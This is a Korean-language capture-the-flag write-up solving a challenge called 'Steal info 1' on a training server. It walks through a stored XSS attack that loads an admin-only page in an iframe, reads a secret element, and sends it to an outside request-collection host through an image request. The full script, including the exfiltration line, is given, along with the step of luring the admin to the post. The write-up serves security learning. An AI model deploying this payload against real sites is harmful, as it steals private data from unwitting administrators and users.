CTF : Steal info 1

DATE : 2024/1/11

Goal : Find a flag in secret.php

본격적으로 문제 풀기에 앞서 주어진 CTF에 대한 정보를 먼저 정리해보자.

(1) 정보를 빼내고자 하는 페이지는 secret.php

(2) secret.php와 동일한 구조인 mypage.html

(3) 취약점은 notice_read.php에 존재

이 문제를 해결하기 위해선 이전에 풀었던 XSS 보다는 좀 더 복잡한 방법을 생각해내야 한다. 😏

Step#1 : element 파악하기

정보를 빼내기 위해선 Javascript로 HTML element에 접근해야 하기 때문에

어떤 element에 접근해야 하는 지를 먼저 파악할 필요가 있다.

secret.php에는 권한이 없어서 접속하지 못하지만 동일한 구조로 짜여진 mypage.html을 활용하면

위치를 파악할 수 있다.

JS로 가져올 값은 card-text class를 갖는 p tag

admin 계정으로 secret.php에 들어가게 되면 This is a Very Secret Info. 대신 flag가 있을 것으로 예상된다.

flag는 card-text class인 p tag에 작성된 문구이기 때문에

이 문구를 가져오기 위해서는 innerHTML 속성을 사용하면 된다.

Step#2 : 취약한 포인트에 스크립트 삽입하기

이번 문제는 게시물 작성 페이지 중에서도 본문에 스크립트를 삽입할 수 있는 취약점이 발견되었다.

따라서 본문에 스크립트를 저장해두고 이를 활용할 생각이다.

작성한 스크립트 내용은 다음과 같다.

우리의 목표는 관리자 권한으로 접근할 수 있는 secret.php에서 flag를 뽑아오는 것이다.

이를 수행하기 위해선 관리자 계정이 필요하지만, 계정을 알아낼 필요 없이

관리자가 flag를 공격자의 서버로 보내도록 스크립트를 삽입할 생각이다.

이 계획을 수행하기 위해선 크게 4단계로 코드를 작성할 수 있다.

(1) iframe tag를 생성한다.

이때 중요한 건 iframe tag에 설정한 경로가 secret.php 이어야 한다는 점이다.

<iframe src="http://ctf.segfaulthub.com:4343/scriptPrac/secret.php" id="targetPage"></iframe>

iframe tag는 페이지 안에 외부의 다른 페이지를 삽입할 때 사용하는 태그로

게시물 본문에 iframe tag를 작성하게 되면 본문 속에 src에 작성한 페이지가 첨부된다.

(2) iframe tag를 변수에 할당한다.

iframe tag를 사용해 번거롭게 페이지 안에 페이지를 삽입하는 이유는

XSS 취약점이 존재하는 페이지에서 정보를 빼내고자 하는 페이지를 불러 들이기 위함이다.

secret.php에 직접적으로 공격을 수행할 수 있다면 조금 더 쉬울 수도 있겠지만

아쉽게도 현재 취약점이 존재하는 페이지는 정보를 빼내고자 하는 페이지와 다르다.

<script>
var frame = document.getElementById('targetPage');

따라서 iframe으로 불러온 페이지로부터 정보를 추출하기 위해선

iframe tag에 먼저 접근할 필요가 있다.

(3) iframe으로 가져온 외부 페이지에서 원하는 element에 접근하기

지금까지 진행된 내용은 (1) iframe tag를 만들어 페이지 내에 삽입하고

(2) 삽입한 iframe tag를 JS로 가져온 상황이다.

iframe tag를 JS로 가져온 상태이기 때문에 iframe으로 가져온 외부 페이지,

즉 우리가 목적으로 삼은 secret.php에도 접근할 수 있게 된다.

frame.onload = function() {
var DOM = frame.contentDocument;

iframe으로 가져온 외부 페이지를 JS에서 가져오기 위해서는 contentDocument를 사용할 수 있다.

var secret = DOM.getElementsByClassName('card-text')[1].innerHTML;

contentDocument로 할당한 DOM 변수는 secret.php 페이지를 가지고 있는 상황이다.

따라서 우리는 처음에 파악해둔 위치로 접근해 원하는 정보를 추출할 수 있다.

(4) 공격자 서버로 데이터 전달

var i = new Image();
i.src = "https://enzjvayx8w4e.x.pipedream.net/?secret="+secret;

}
</script>

얻고자 하는 정보를 추출했다면 이젠 공격자 서버로 데이터를 보내주면 끝이다.

<img> tag를 하나 만들어 src 속성에 공격자 서버의 주소를 넣어주면

해당 주소로 이미지를 달라는 요청을 보내면서 secret 데이터 또한 전달될 것이다.

여기서 헷갈리면 안되는 부분은 스크립트가 실행될 위치가 관리자의 브라우저라는 점이다.

관리자는 모든 게시물에 접근할 권한이 있기 때문에 스크립트를 작성해둔 게시물 주소를 전달하면

방금 살펴본 코드가 실행되면서 자신의 프로필 페이지에 있는 flag를 공격자의 서버로 보내주는 흐름이다.

따라서 iframe src에는 관리자의 secret.php가 경로로 주어지게 되는 것이고

i.src에는 공격자의 서버 주소가 들어가게 되는 것이며

스크립트를 실행하기 위해서 Stored XSS 취약점이 존재하는 게시물 페이지를 활용하고 있는

상황임을 이해해야 할 것!!

Step#3 : 관리자에게 링크 전달

step#2에서 작성한 게시물에 관리자가 접근하게 되면 우리는 결과적으로 flag를 얻을 수 있게 된다.

따라서 관리자가 해당 주소로 접근하도록 만들어야 한다.

이를 위해 관리자에게 스크립트를 작성해둔 게시물 URL을 전달해준다.

Step#4 : 공격자 서버에서 FLAG 확인

관리자가 전달한 링크로 접속하게 되면 화면 상으로는 게시물 페이지로 들어가겠지만

그 안에 적힌 스크립트가 실행되면서 자신의 프로필 페이지에 있는 flag를 공격자 서버로 보내주게 된다.

따라서 관리자는 자기도 모르는 사이에 스크립트가 실행되어 버리기 때문에

공격자는 서버 기록에서 flag를 얻을 수 있게 된다. 👍

Last updated